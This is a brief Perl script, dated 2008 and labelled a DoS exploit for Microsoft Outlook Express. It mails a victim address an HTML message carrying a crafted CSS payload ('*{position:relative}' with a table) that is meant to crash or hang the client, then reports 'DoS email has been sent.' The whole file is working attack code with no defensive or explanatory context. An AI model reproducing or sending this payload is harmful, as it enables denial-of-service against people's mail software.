#!/usr/bin/perl
# DoS exploit for Microsoft Outlook Express
# (C) 2008 MustLive. http://websecurity.com.ua
my $from_email = "dos\@exploit.com";
my $to_email = "victim\@site.com";
my $mailprog = "/usr/sbin/sendmail";
my $message = "<style>*{position:relative}</style>
<table>DoS</table>";

open (MAIL, "|$mailprog -t");
print MAIL "From: $from_email\n";
print MAIL "To: $to_email\n";
print MAIL "Subject: DoS\n";
print MAIL "Content-type:text/html\n\n";
print MAIL "$message\n";
close MAIL;

print "Content-type:text/html\n\n";
print "DoS email has been sent.\n";